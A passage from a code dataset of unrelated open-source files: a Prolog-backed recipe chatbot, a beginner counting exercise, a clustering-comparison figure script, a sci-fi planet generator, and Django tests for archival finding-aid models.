one option.\",\"No Option Selected\", wx.ICON_INFORMATION)\n return False\n else:\n if self.current_question == 1:\n for choice in selected:\n self.prolog.assertz(f\"diet('{choice}')\")\n self.chat_window.AppendText(\"YOU: \"+\", \".join(selected) + \"\\n\")\n self.diet = choice\n elif self.current_question == 2:\n for choice in selected:\n self.prolog.assertz(f\"goal_dict('{choice}')\")\n self.chat_window.AppendText(\"YOU: \" + \", \".join(selected)+ \"\\n\")\n self.goal_choices = selected\n self.goal = choice\n elif self.current_question == 3:\n calories = self.edit_number.GetValue()\n self.prolog.assertz(f\"goal_dict('{calories}')\")\n self.chat_window.AppendText(f\"YOU: {calories} Calories\\n\")\n self.calories = calories\n\n self.edit_number.Hide()\n self.listbox_options.Show()\n self.listbox_options.GetParent().Layout()\n elif self.current_question == 4:\n time = self.edit_number.GetValue()\n self.prolog.assertz(f\"time('{time}')\")\n self.chat_window.AppendText(f\"YOU: {time} Minutes\\n\")\n self.time = time\n\n self.edit_number.Hide()\n self.listbox_options.Show()\n self.listbox_options.GetParent().Layout()\n elif self.current_question == 5:\n for choice in selected:\n self.prolog.assertz(f\"effort('{choice}')\")\n self.chat_window.AppendText(\"YOU: \" + \", \".join(selected)+ \"\\n\")\n self.effort = choice\n elif self.current_question == 6:\n for choice in selected:\n self.prolog.assertz(f\"course('{choice}')\")\n self.chat_window.AppendText(\"YOU: \" + \", \".join(selected)+ \"\\n\")\n self.course = choice\n elif self.current_question == 7:\n for choice in selected:\n self.prolog.assertz(f\"ing('{choice}')\")\n self.chat_window.AppendText(\"YOU: \" + \", \".join(selected)+ \"\\n\")\n self.ing = choice\n elif self.current_question == 8:\n self.chat_window.AppendText(\"YOU: \" + \", \".join(selected[0])+ \"\\n\")\n self.cu = selected[0]\n\n\n\n # Update the layout of the app. Usefull when we changed the size of the app or show/hiden some elements\n self.listbox_options.GetParent().Layout()\n self.prepare_question()\n\n def make_decission(self):\n \"\"\"Make final Prolog query to find the receipes\"\"\"\n final_recipes = []\n for soln in self.prolog.query(\n f\"recipe2(R,'{self.diet}',{self.calories},{self.time},'{self.effort}','{self.course}','{self.ing}', '{self.cu}')\"):\n if type(soln[\"R\"]) == type(\"str\"):\n final_recipes.append(soln[\"R\"])\n\n final_recipes_dict, final_recipes_lst = list_to_dict(final_recipes)\n\n # Show the results\n self.chat_window.AppendText(\"BOT: Nice, I found something for you \ud83d\ude00. The following recipes from BBC's Good Foods website match your needs:\\n\")\n for receipe in final_recipes_lst:\n self.chat_window.AppendText(receipe.replace(\"&\",\"&\") + \"\\n\")\n\n\n", "source": "sadid07/AI-Prolog-Recipe-Suggestion", "license": "Apache-2.0"} {"text": "x=1\npos=0\nwhile x<=6:\n a=float(input())\n if a>0:\n pos=1+pos\n x=x+1\nprint(\"%d valores positivos\" % pos)\n", "source": "le16bits/URI---Python", "license": "Apache-2.0"} {"text": "\"\"\"\nThis saves figures showing the results of various clustering algorithms,\nincluding AutoGMM, agglomerative clustering, k-means, naive GM (using single\nor mutiple inits), on the double-cigar dataset.\nIt outputs the two subplots of Figure 7 in the paper.\n\"\"\"\n\n#%%\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import colors\nfrom joblib import Parallel, delayed\nimport pandas as pd\nimport seaborn as sns\nfrom sklearn.metrics import adjusted_rand_score\nfrom sklearn.cluster import KMeans, AgglomerativeClustering\nfrom sklearn.mixture import GaussianMixture\nimport sys\n\nsys.path.append(\"/code\")\nfrom autogmm import AutoGMMCluster\n\nsns.set_context(\"talk\")\n\n#%%\ndef AGM(X, y, n_clusters_range, n_init):\n agmm = AutoGMMCluster(\n max_components=n_clusters_range[-1],\n min_components=n_clusters_range[0],\n kmeans_n_init=n_init,\n init_params=\"kmeans\",\n )\n pred = agmm.fit_predict(X, y)\n return agmm.model_, agmm.ari_, pred\n\n\ndef KM(X, y, n_clusters_range, n_init):\n ari_km = -1\n for n_clus in np.unique(n_clusters_range):\n kmeans = KMeans(n_clusters=n_clus, n_init=n_init)\n pred_km = kmeans.fit_predict(X)\n ari_ = adjusted_rand_score(pred_km, y)\n if ari_ > ari_km:\n ari_km = ari_\n best_model = kmeans\n return best_model, ari_km, best_model.predict(X)\n\n\ndef Agg(X, y, n_clusters_range):\n af = [\"euclidean\", \"manhattan\", \"cosine\"]\n li = [\"ward\", \"complete\", \"single\", \"average\"]\n ari_ag = -1\n for af_ in af:\n for li_ in li:\n if li_ == \"ward\" and af_ != \"euclidean\":\n continue\n else:\n for n_clus in np.unique(n_clusters_range):\n agg = AgglomerativeClustering(\n n_clusters=n_clus, affinity=af_, linkage=li_\n )\n pred_ag = agg.fit_predict(X)\n ari_ = adjusted_rand_score(pred_ag, y)\n if ari_ > ari_ag:\n ari_ag = ari_\n best_model = agg\n best_pred = pred_ag\n return best_model, ari_ag, best_pred\n\n\ndef naive_GMM(X, y, n_components_range, n_init, init_params=\"kmeans\"):\n lowest_bic = np.infty\n cv_types = [\"spherical\", \"tied\", \"diag\", \"full\"]\n for cv_type in cv_types:\n for n_components in np.unique(n_components_range):\n gmm = GaussianMixture(\n n_components=n_components,\n covariance_type=cv_type,\n n_init=n_init,\n init_params=init_params,\n )\n gmm.fit(X)\n bic_ = gmm.bic(X)\n if bic_ < lowest_bic:\n lowest_bic = bic_\n best_gmm = gmm\n\n pred = best_gmm.predict(X)\n return best_gmm, adjusted_rand_score(pred, y), pred\n\n\ndef exp(X, y, n_clusters_range, n_init=10):\n agm, ari_agm, pred_agm = AGM(X, y, n_clusters_range, n_init)\n gm, ari_gm, pred_gm = naive_GMM(X, y, n_clusters_range, 1)\n gm_m, ari_gm_multi, pred_gm_multi = naive_GMM(X, y, n_clusters_range, n_init)\n km, ari_km, pred_km = KM(X, y, n_clusters_range, n_init)\n ag, ari_ag, pred_ag = Agg(X, y, n_clusters_range)\n\n aris = [ari_agm, ari_gm, ari_gm_multi, ari_km, ari_ag]\n preds = [pred_agm, pred_gm, pred_gm_multi, pred_km, pred_ag]\n models = [agm, gm, gm_m, km, ag]\n return aris, preds, models\n\n\n#%%\n# plot predictions on single cigar dataset by various clustering algorithms\nnp.random.seed(32)\ncov_1 = 1\ncov_2 = 200\nn = 100\nmu_ = 3\nmu1 = [-mu_, 0]\nmu2 = [mu_, 0]\n\ncov1 = np.array([[cov_1, 0], [0, cov_2]])\ncov2 = np.array([[cov_1, 0], [0, cov_2]])\nX1 = np.random.multivariate_normal(mu1, cov1, n)\nX2 = np.random.multivariate_normal(mu2, cov2, n)\nX = np.concatenate((X1, X2))\ny = np.repeat([0, 1], int(len(X) / 2))\naris, preds, _ = exp(X, y, range(2, 6))\n\nalgs = [\"AutoGMM\", \"Naive GM\", \"Naive GM (multi init)\", \"K-Means\", \"Agglomerative\"]\nfig = plt.figure(figsize=(16, 4.5))\nfig.subplots_adjust(top=0.8)\nc_list = [\"red\", \"green\", \"blue\", \"orange\", \"purple\", \"yellow\", \"gray\"]\nfor i in range(len(algs)):\n ax = plt.subplot(1, 5, i + 1)\n max_c = np.max(preds[i])\n plt.scatter(\n X[:, 0],\n X[:, 1],\n c=preds[i],\n s=10,\n cmap=colors.ListedColormap(c_list[: max_c + 1]),\n )\n plt.title(algs[i])\n plt.xticks(fontsize=18)\n plt.yticks(fontsize=18)\n if i == 2:\n plt.xlabel(\"First Dimension\", fontsize=22)\n elif i == 0:\n plt.ylabel(\"Second Dimension\", fontsize=22)\n if i != 0:\n ax.set(yticklabels=[])\n plt.text(\n 0.97,\n 0.92,\n (\"%.2f\" % aris[i]).lstrip(\"0\"),\n transform=plt.gca().transAxes,\n size=15,\n horizontalalignment=\"right\",\n )\nfig.suptitle(\"Synthetic Double-Cigar Dataset\", y=0.93, fontsize=22, fontweight=\"bold\")\nplt.savefig(\"/results/cigar_pred.png\", bbox_inches=\"tight\", dpi=300)\n\n#%%\n# make boxplot of ARIs for cigar datasets\nnp.random.seed(1)\nrep = 100\ncov_1 = 1\ncov_2 = 200\nn = 100\nmu_ = 3\nmu1 = [-mu_, 0]\nmu2 = [mu_, 0]\n\n\ndef _run():\n cov1 = np.array([[cov_1, 0], [0, cov_2]])\n cov2 = np.array([[cov_1, 0], [0, cov_2]])\n X1 = np.random.multivariate_normal(mu1, cov1, n)\n X2 = np.random.multivariate_normal(mu2, cov2, n)\n X = np.concatenate((X1, X2))\n y = np.repeat([0, 1], int(len(X) / 2))\n aris, _, _ = exp(X, y, range(2, 6), 10)\n return aris\n\n\naris_all_ellip = Parallel(n_jobs=35, verbose=1)(delayed(_run)() for _ in range(rep))\n\ndf = pd.DataFrame(aris_all_ellip)\ndf.columns = [\n \"AutoGMM\",\n \"Naive GM\",\n \"Naive GM\\n(multi init)\",\n \"K-Means\",\n \"Agglomerative\",\n]\ndf = pd.melt(df, value_vars=df.columns, value_name=\"ARI\", var_name=\"Algorithm\")\nfig, ax = plt.subplots(1, figsize=(12, 6))\nsns.swarmplot(data=df, x=\"Algorithm\", y=\"ARI\", ax=ax, size=3)\nsns.boxplot(\n data=df,\n x=\"Algorithm\",\n y=\"ARI\",\n ax=ax,\n boxprops=dict(alpha=0.25),\n whis=np.inf,\n notch=True,\n width=0.1,\n)\nax.set_title(\"ARIs for Different Clustering Algorithms\", fontsize=20, fontweight=\"bold\")\nax.set_xlabel(\"\")\nax.set_ylabel(\"ARI\", fontsize=20)\nax.set_xticklabels(ax.get_xticklabels(), fontsize=20)\nplt.savefig(\"/results/cigar_aris_boxplot.png\", bbox_inches=\"tight\", dpi=300)\nplt.show()\n", "source": "tliu68/autogmm", "license": "MIT"} {"text": "#!/usr/bin/env python\nimport random\nfrom lib.tools.db_parse import App as XML_Parse\nfrom sys import argv, platform\nfrom traceback import print_exc\n#\nVN = 'vn'\nSO = 'so'\nHS = 'hs'\nBA = 'ba'\n#\nNAME = 'name'\nTAG = 'tag'\n#\nSIZE = 'size'\nATMOSPHERE = 'atmosphere'\nHYDROSPHERE = 'hydrosphere'\nPOPULATION = 'population'\nGOVERNMENT = 'government'\nLAWLEVEL = 'lawlevel'\nTECHLEVEL = 'techlevel'\n#\n\nif platform == 'win32':\n HOME = argv[0][:argv[0].rfind('\\\\')+1]\n#\n\ndef fetch( filepath ):\n global HOME\n return XML_Parse.load( HOME, filepath )\n#\n#print( fetch( 'lib\\\\xml\\\\tradecodes.xml' )[XML_Parse.TOP_LAYER]['traveller']['tradecodes'].keys() )\n#TRADECODES = []\nTRADECODES = fetch( 'lib\\\\xml\\\\tradecodes.xml' )[XML_Parse.TOP_LAYER]['traveller']['tradecodes']\n#\n\ndef roll( dice, sides=6, mode='sum' ):\n start, steps, stop = 1, 1, sides\n i = 0\n rc = []\n while i < dice:\n rc.append( random.randrange( start, stop, steps ) )\n i += 1\n if mode == 'list':\n return rc\n elif mode == 'sum':\n sum = 0\n for r in rc:\n sum += r\n return sum\n#\n\ndef splitup( string ):\n if string == None: return []\n if ',' in string:\n sl = string.split(',')\n else:\n sl = [string]\n for s in sl:\n try:\n if '-' in s:\n sl.remove(s)\n s = s.split('-')\n s = range( int(s[0]), int(s[1])+1 )\n sl += s\n except:\n pass\n for s in sl:\n try:\n sl.remove(s)\n sl.append( int(s) )\n except:\n pass\n return sl\n#\n\ndef planet( mode='vn' ):\n '''\n modes:\n vn = vanilla\n so = space opera\n hs = hard sci-fi\n '''\n code = ''\n SOpera = False\n HardSf = False\n if mode == 'so':\n SOpera = True\n elif mode == 'hs':\n SOpera = False\n HardSf = True\n \n \n def size():\n return roll(2)-2\n size = size()\n \n def atmo():\n rc = roll(2)-7+size\n if SOpera and size <= 4:\n if size <= 2: rc = 0\n else:\n if rc <= 2: rc = 0\n elif rc <= 5: rc = 1\n elif rc >= 6: rc = 10\n if rc < 0:\n return 0\n else:\n return rc\n atmo = atmo()\n \n def hydro():\n if size < 2:\n rc = 0\n else:\n rc = roll(2)-7+size\n \n if SOpera:\n if (size == 3 or size == 4) and atmo == 10: rc += -6\n if atmo >= 1: rc += -6\n if atmo == 2 or atmo == 3 or atmo == 11 or atmo == 12: rc += -4\n \n if atmo < 2 or ( atmo >= 10 and atmo <= 12 ):\n rc -= 4\n if rc < 0:\n return 0\n else:\n return rc\n hydro = hydro()\n \n def pop():\n rc = roll(2)-2\n \n adj = roll(3)\n if adj > 14: rc+=1\n if adj > 16: rc+=1\n if adj < 8: rc-=1\n \n if HardSf:\n if size <= 2 or size == 10: rc += -1\n if atmo == 5 or atmo == 6 or atmo == 8: rc += 1\n else: rc += -1\n \n return max(rc,0)\n pop = pop()\n \n def port():\n r = roll(2)\n \n if HardSf:\n r += -7+pop\n \n rc = ''\n if r <= 2: rc += 'X'\n elif r <= 4: rc += 'E'\n elif r <= 6: rc += 'D'\n elif r <= 8: rc += 'C'\n elif r <= 10: rc += 'B'\n elif r >= 11: rc += 'A'\n return rc\n port = port()\n \n govt, law, tech = 0, 0, 0\n \n if pop > 0:\n def govt():\n rc = roll(2)-7+pop\n if rc < 0:\n return 0\n else:\n return rc\n govt = govt()\n \n def law():\n rc = roll(2)-7+govt\n if rc < 0:\n return 0\n else:\n return rc\n law = law()\n \n def tech():\n rc = roll(1)\n if port == 'A': rc += 6\n elif port == 'B': rc += 4\n elif port == 'C': rc += 2\n elif port == 'X': rc += -4\n if size <= 1: rc += 2\n elif size <= 4: rc += 1\n if atmo <= 3: rc += 1\n elif atmo >= 10: rc += 1\n if hydro == 0: rc += 1\n elif hydro == 9: rc += 1\n elif hydro == 10: rc += 2\n if pop >= 0 and pop <= 5: rc += 1\n elif pop == 9: rc += 1\n elif pop == 10: rc += 2\n elif pop == 11: rc += 3\n elif pop == 12: rc += 4\n if govt == 0: rc += 1\n elif govt == 5: rc += 1\n elif govt == 7: rc += 2\n elif govt == 13: rc += -2\n elif govt == 14: rc += -2\n return rc\n tech = tech()\n \n tasc = 'G'\n if atmo >= 10 \\\n or govt == 0 or govt == 7 or govt == 10 \\\n or law == 0 or law >= 9:\n tasc = 'A'\n \n code += port\n code += hex(size )[-1:].upper()\n code += hex(atmo )[-1:].upper()\n code += hex(hydro)[-1:].upper()\n code += hex(pop )[-1:].upper()\n code += hex(govt )[-1:].upper()\n code += hex(law )[-1:].upper()\n code += \"-\" \n code += hex(tech )[-1:].upper()\n if tasc != 'G':\n code += \" \" + tasc\n else:\n code += \" \"\n \n def tradecodes():\n rc = ''\n \n for tradecode in TRADECODES['tradecode']:\n try:\n tcode = True\n for requirement in tradecode['requirements'].keys():\n if requirement.endswith('__info')\\\n or requirement == XML_Parse.CDATA\\\n or requirement == XML_Parse.ATTR_TAG:\n continue\n if tradecode['requirements'][requirement][XML_Parse.CDATA] == ''\\\n or tradecode['requirements'][requirement][XML_Parse.CDATA] == None:\n continue\n else:\n req_info = tradecode['requirements'][requirement][XML_Parse.CDATA]\n if requirement == SIZE:\n req = splitup( req_info )\n if size in req: pass\n else: tcode = False\n elif requirement == ATMOSPHERE:\n req = splitup( req_info )\n if atmo in req: pass\n else: tcode = False\n elif requirement == HYDROSPHERE:\n req = splitup( req_info )\n if hydro in req: pass\n else: tcode = False\n elif requirement == POPULATION:\n req = splitup( req_info )\n if pop in req: pass\n else: tcode = False\n elif requirement == GOVERNMENT:\n req = splitup( req_info )\n if govt in req: pass\n else: tcode = False\n elif requirement == LAWLEVEL:\n req = splitup( req_info )\n if law in req: pass\n else: tcode = False\n elif requirement == TECHLEVEL:\n req = splitup( req_info )\n if tech in req: pass\n else: tcode = False\n# print( ' ' + tradecode['name'] + ' is ' + str(tcode) )\n if tcode:\n rc += \" \" + tradecode[XML_Parse.ATTR_TAG][TAG]\n except Exception as e:\n print(tradecode[XML_Parse.ATTR_TAG][TAG])\n print_exc()#print(e)\n return rc\n code += tradecodes()\n \n def tag():\n r = roll(1,100)\n rc = ''\n \n tags = [ 'Abandoned Colony', \\\n 'Alien Ruins', \\\n 'Altered Humanity', \\\n 'Anthromorphs', \\\n 'Battleground', \\\n 'Bubble Cities', \\\n 'Cheap Life', \\\n 'Civil War', \\\n 'Cold War', \\\n 'Colony', \\\n 'Cyclical Doom', \\\n 'Doomed World', \\\n 'Dying Race', \\\n 'Eugenics Cult', \\\n 'Feral World', \\\n 'Flying Cities', \\\n 'Forbidden Tech', \\\n 'Freak Geology', \\\n 'Freak Weather', \\\n 'Friendly Foe', \\\n 'Gold Rush', \\\n 'Great Work', \\\n 'Hatred', \\\n 'Hivemind', \\\n 'Holy War', \\\n 'Hostile Biosphere', \\\n 'Hostile Space', \\\n 'Immortals', \\\n 'Local Specialty', \\\n 'Local Tech', \\\n 'Major Spaceyard', \\\n 'Megacorps', \\\n 'Mercenaries', \\\n 'Minimal Contact', \\\n 'Misandry/Misogyny', \\\n 'Night World', \\\n 'Nomads', \\\n 'Out of Contact', \\\n 'Outpost World', \\\n 'Pilgrimage Site', \\\n 'Pleasure World', \\\n 'Police State', \\\n 'Post-Scarcity', \\\n 'Tech Cultists', \\\n 'Primitive Aliens', \\\n 'Quarantined World', \\\n 'Radioactive World', \\\n 'Refugees', \\\n 'Regional Hegemon', \\\n 'Restrictive Laws', \\\n 'Revanchists', \\\n 'Revolutionaries', \\\n 'Rigid Culture', \\\n 'Rising Hegemon', \\\n 'Ritual Combat', \\\n 'Robots', \\\n 'Seagoing Cities', \\\n 'Sealed Menace', \\\n 'Secret Masters', \\\n 'Sectarians', \\\n 'Seismic Instability', \\\n 'Shackled World', \\\n 'Societal Despair', \\\n 'Sole Supplier', \\\n 'Taboo Treasure', \\\n 'Terraform Failure', \\\n 'Tomb World', \\\n 'Unshackled AI', \\\n 'Urbanized Surface', \\\n 'Utopia', \\\n 'Xenophiles', \\\n 'Xenophobes', \\\n 'Zombies' ]\n rc = random.choice( tags )\n return rc\n \n if HardSf: special_tag_tn=0\n elif SOpera: special_tag_tn=35\n else: special_tag_tn=15\n if random.randrange(100) < special_tag_tn: code += \" | \" + tag()\n \n return code\n#\n#\n\ndef main():\n print( planet( mode=SO ) )\n print( planet( mode=SO ) )\n print( planet( mode=SO ) )\n#\n\nif __name__ == '__main__':\n main()\n#", "source": "LittleDevil0x29A/SectorGen", "license": "CC0-1.0"} {"text": "# file findingaids/fa/tests/models.py\n#\n# Copyright 2012 Emory University Library\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom os import path\nfrom types import ListType\nfrom mock import patch\n\nfrom django.conf import settings\nfrom django.test import TestCase as DjangoTestCase\nfrom django.test.utils import override_settings\n\nfrom eulxml.xmlmap import load_xmlobject_from_file, load_xmlobject_from_string\nfrom eulxml.xmlmap.eadmap import EAD_NAMESPACE\nfrom eulexistdb.testutil import TestCase\n\nfrom findingaids.fa.models import FindingAid, LocalComponent, EadRepository, \\\n Series, Title, PhysicalDescription\n# from findingaids.fa.utils import pages_to_show, ead_lastmodified, \\\n # collection_lastmodified\n\n\n## unit tests for model objects in findingaids.fa\n\nexist_fixture_path = path.join(path.dirname(path.abspath(__file__)), 'fixtures')\nexist_index_path = path.join(path.dirname(path.abspath(__file__)), '..', '..', 'exist_index.xconf')\n\n\nclass FindingAidTestCase(DjangoTestCase):\n # test finding aid model (customization of eulxml xmlmap ead object)\n FIXTURES = ['leverette135.xml', # simple finding aid (no series/subseries), origination is a person name\n 'abbey244.xml', # finding aid with series (no subseries), origination is a corporate name\n 'raoul548.xml', # finding aid with series & subseries, origination is a family name\n 'bailey807.xml', # finding aid with series, no origination\n 'adams465.xml',\n 'pomerantz890.xml' # finding aid with multiple subareas\n ]\n\n def setUp(self):\n self.findingaid = dict()\n for file in self.FIXTURES:\n filebase = file.split('.')[0]\n self.findingaid[filebase] = load_xmlobject_from_file(path.join(exist_fixture_path,\n file), FindingAid)\n\n def test_init(self):\n for file, fa in self.findingaid.iteritems():\n self.assert_(isinstance(fa, FindingAid))\n\n def test_custom_fields(self):\n # list title variants\n # NOTE: list_title is now a NodeField; calling __unicode__ explicitly to do a string compare\n # - origination, person name\n self.assertEqual(\"Leverette, Fannie Lee.\", self.findingaid['leverette135'].list_title.__unicode__())\n self.assertEqual(\"L\", self.findingaid['leverette135'].first_letter)\n # - origination, corporate name\n self.assertEqual(\"Abbey Theatre.\", self.findingaid['abbey244'].list_title.__unicode__())\n self.assertEqual(\"A\", self.findingaid['abbey244'].first_letter)\n # - origination, family name\n self.assertEqual(\"Raoul family.\", self.findingaid['raoul548'].list_title.__unicode__())\n self.assertEqual(\"R\", self.findingaid['raoul548'].first_letter)\n # - no origination - list title falls back to unit title\n self.assertEqual(\"Bailey and Thurman families papers, circa 1882-1995\",\n self.findingaid['bailey807'].list_title.__unicode__())\n self.assertEqual(\"B\", self.findingaid['bailey807'].first_letter)\n\n # dc_subjects\n self.assert_(u'Irish drama--20th century.' in self.findingaid['abbey244'].dc_subjects)\n self.assert_(u'Theater--Ireland--20th century.' in self.findingaid['abbey244'].dc_subjects)\n self.assert_(u'Dublin (Ireland)' in self.findingaid['abbey244'].dc_subjects)\n # dc_contributors\n self.assert_(u'Bailey, I. G. (Issac George), 1847-1914.' in self.findingaid['bailey807'].dc_contributors)\n self.assert_(u'Bailey, Susie E., d. 1948.' in self.findingaid['bailey807'].dc_contributors)\n self.assert_(u'Thurman, Howard, 1900-1981.' in self.findingaid['bailey807'].dc_contributors)\n self.assert_(u'Thurman, Sue Bailey.' in self.findingaid['bailey807'].dc_contributors)\n\n def test_has_digital_content(self):\n # abbey has a dao, but audience is internal\n self.assertFalse(self.findingaid['abbey244'].has_digital_content)\n # no dao in adams\n self.assertFalse(self.findingaid['adams465'].has_digital_content)\n # daos have been added to leverette fixture\n self.assertTrue(self.findingaid['leverette135'].has_digital_content)\n\n def test_stored_offsite(self):\n self.assertFalse(self.findingaid['abbey244'].stored_offsite)\n self.assertTrue(self.findingaid['pomerantz890'].stored_offsite)\n\n def test_series_info(self):\n info = self.findingaid['raoul548'].dsc.c[0].series_info()\n self.assert_(isinstance(info, ListType))\n self.assertEqual(\"Scope and Content Note\", unicode(info[0].head))\n self.assertEqual(\"Arrangement Note\", unicode(info[1].head))\n\n # series info problem when scopecontent is missing a ; contains use restriction\n info = self.findingaid['raoul548'].dsc.c[-1].c[-1].series_info()\n self.assert_(isinstance(info, ListType))\n self.assert_(\"contains all materials related to \" in\n info[0].content[0].__unicode__()) # scopecontent with no head\n self.assertEqual(\"Arrangement Note\", unicode(info[1].head))\n self.assertEqual(\"Terms Governing Use and Reproduction\", unicode(info[2].head))\n self.assertEqual(\"Restrictions on Access\", unicode(info[3].head))\n\n def test_series_displaylabel(self):\n self.assertEqual(\"Series 1: Letters and personal papers, 1865-1982\",\n self.findingaid['raoul548'].dsc.c[0].display_label())\n # no unitid\n self.assertEqual(\"Financial and legal papers, 1890-1970\",\n self.findingaid['raoul548'].dsc.c[2].display_label())\n\n def test_dc_fields(self):\n fields = self.findingaid['abbey244'].dc_fields()\n\n self.assert_(\"Abbey Theatre collection, 1921-1995\" in [title.__unicode__() for title in fields[\"title\"]])\n self.assert_(\"Abbey Theatre.\" in fields[\"creator\"])\n self.assert_(\"Emory University\" in fields[\"publisher\"])\n self.assert_(\"2002-02-24\" in fields[\"date\"])\n self.assert_(\"eng\" in fields[\"language\"])\n self.assert_(\"Irish drama--20th century.\" in fields[\"subject\"])\n self.assert_(\"Theater--Ireland--20th century.\" in fields[\"subject\"])\n self.assert_(\"Dublin (Ireland)\" in fields[\"subject\"])\n self.assert_(\"http://pidtest.library.emory.edu/ark:/25593/1fx\" in fields[\"identifier\"])\n\n fields = self.findingaid['bailey807'].dc_fields()\n self.assert_(\"Bailey, I. G. (Issac George), 1847-1914.\" in fields[\"contributor\"])\n self.assert_(\"Bailey, Susie E., d. 1948.\" in fields[\"contributor\"])\n self.assert_(\"Thurman, Howard, 1900-1981.\" in fields[\"contributor\"])\n self.assert_(\"Thurman, Sue Bailey.\" in fields[\"contributor\"])\n\n def test_local_component(self):\n # local component with custom property - first_file_item\n self.assert_(isinstance(self.findingaid['abbey244'].dsc.c[0], LocalComponent))\n self.assert_(isinstance(self.findingaid['abbey244'].dsc.c[0].c[0], LocalComponent))\n # abbey244 series 1 - no section headings, first c should be first file\n self.assertTrue(self.findingaid['abbey244'].dsc.c[0].c[0].first_file_item)\n self.assertFalse(self.findingaid['abbey244'].dsc.c[0].c[1].first_file_item)\n self.assertFalse(self.findingaid['abbey244'].dsc.c[0].c[-1].first_file_item)\n # raoul548 series 1.1 - first item is a section, second item should be first file\n self.assertFalse(self.findingaid['raoul548'].dsc.c[0].c[0].c[0].first_file_item)\n self.assertTrue(self.findingaid['raoul548'].dsc.c[0].c[0].c[1].first_file_item)\n\n def test_absolute_eadxml_url(self):\n # test against current site domain\n url = self.findingaid['abbey244'].absolute_eadxml_url()\n self.assert_(self.findingaid['abbey244'].eadid.value in url,\n 'URL should contain the EAD ID for this current document.')\n\n @override_settings(REQUEST_MATERIALS_URL='http://example.com')\n def test_requestable(self):\n fa = self.findingaid['abbey244']\n fa2 = self.findingaid['bailey807']\n fa3 = self.findingaid['pomerantz890'] # EAD with multiple subareas\n\n with override_settings(REQUEST_MATERIALS_REPOS = [\n 'Manuscript, Archives, and Rare Book Library',\n 'Emory University Archives'\n ]):\n self.assertTrue(fa.requestable(),\"EAD from Marbl should be able to be requested.\")\n\n # Fail if the REQUEST_MATERIALS_URL is empty\n with override_settings(REQUEST_MATERIALS_URL = ''):\n self.assertFalse(fa.requestable(),\"Cannot request EAD if the REQUEST_MATERIALS_URL is not set.\")\n\n # Fail if the REQUEST_MATERIALS_REPOS is empty\n with override_settings(REQUEST_MATERIALS_REPOS = ''):\n self.assertFalse(fa.requestable(),\"Cannot request EAD if the REQUEST_MATERIALS_REPOS is not set.\")\n\n # Fail if the requested EAD repo is not set in REQUEST_MATERIALS_REPOS\n with override_settings(REQUEST_MATERIALS_REPOS = [\n 'Manuscript, Archives, and Rare Book Library'\n ]):\n self.assertFalse(fa2.requestable(),\"EAD from University Archives (not set) shouldn't be able to be requested.\")\n\n # Multiple subareas per one EAD\n with override_settings(REQUEST_MATERIALS_REPOS = [\n 'Pitts Theology Library'\n ]):\n self.assertTrue(fa3.requestable(),\"Even if there are multiple subareas, an EAD from the set repos should be able to be requested.\")\n\n @override_settings(REQUEST_MATERIALS_URL='http://example.com')\n def test_request_materials_url(self):\n fa = self.findingaid['abbey244']\n self.assert_(fa.request_materials_url())\n\n del settings.REQUEST_MATERIALS_URL\n self.assertFalse(fa.request_materials_url(),'Cannot return a request materials url if the setting is None')\n\n\n\nclass EadRepositoryTestCase(TestCase):\n exist_fixtures = {'files': [path.join(exist_fixture_path, 'pomerantz890.xml')] }\n\n def test_distinct(self):\n repos = EadRepository.distinct()\n # should be a distinct, space-normalized list of subareas\n self.assert_('Pitts Theology Library' in repos)\n self.assert_('Manuscript, Archives, and Rare Book Library' in repos)\n\n\nclass SeriesTestCase(DjangoTestCase):\n\n # plain file item with no semantic tags\n c1 = load_xmlobject_from_string('''\n \n 1\n 1\n Acey, J. Earl and Port Scott, July 10, 1991. [Cassette\n available]\n \n ''' % EAD_NAMESPACE, Series)\n # simple tagged person name in the unittitle\n c2 = load_xmlobject_from_string('''\n \n 1\n 1\n Acey, J. Earl and Port Scott, July 10, 1991. [Cassette\n available]\n \n ''' % EAD_NAMESPACE, Series)\n # tagged title with source & authfilenumber\n c3 = load_xmlobject_from_string('''\n \n 10\n 24\n \n Bayou Legend, notes\n \n ''' % EAD_NAMESPACE, Series)\n # issn title\n c4 = load_xmlobject_from_string('''\n \n 19\n 3\n Who Has Seen the Wind? New York Amsterdam News, National Scene Magazine Supplement, November-December 1976\n ''' % EAD_NAMESPACE, Series)\n\n c5 = load_xmlobject_from_string('''\n \n 60\n 3\n \n Heaney, Seamus,\n April 27, 1965:\n Boy Driving his Father to Confession,\n To A Wine Jar,\n On Hogarth's Engraving 'Pit Ticket for the Royal Sport'\n \n \n ''' % EAD_NAMESPACE, Series)\n\n def test_has_semantic_data(self):\n self.assertFalse(self.c1.has_semantic_data)\n self.assertTrue(self.c2.has_semantic_data)\n self.assertTrue(self.c3.has_semantic_data)\n self.assertTrue(self.c4.has_semantic_data)\n self.assertTrue(self.c5.has_semantic_data)\n\n def test_rdf_type(self):\n # not enough information to determine type\n self.assertEqual(None, self.c1.rdf_type)\n # infer book, article, etc from title attributes\n self.assertEqual('bibo:Book', self.c3.rdf_type)\n self.assertEqual('bibo:Article', self.c4.rdf_type)\n\n # type inferred based on series; requires access to series, so load from fixtures\n # - bailey findingaid contains printed material, photographs, and audiovisual\n bailey = load_xmlobject_from_file(path.join(exist_fixture_path, 'bailey807.xml'),\n FindingAid)\n\n # patch in unittitles so it looks as though items have semantic data\n with patch('findingaids.fa.models.Series.unittitle_titles', new=[Title()]):\n\n # series 4 is printed material\n self.assertEqual('bibo:Document', bailey.dsc.c[3].c[0].rdf_type,\n 'items in printed materials series should default to document type')\n\n # series 5 is photographs\n self.assertEqual('bibo:Image', bailey.dsc.c[4].c[0].rdf_type,\n 'items in photograph series should default to image type')\n\n # series 9 is audiovisual\n self.assertEqual('bibo:AudioVisualDocument', bailey.dsc.c[8].c[0].rdf_type,\n 'items in audiovisual series should default to audiovisualdocument type')\n\n # fallback type is manuscript\n self.assertEqual('bibo:Manuscript', bailey.dsc.c[0].c[0].rdf_type,\n 'items in photograph series should default to image type')\n\n\nclass PhysicalDescriptionTestCase(DjangoTestCase):\n\n # multiple extents with separating text\n physdesc1 = load_xmlobject_from_string('''5.25 linear 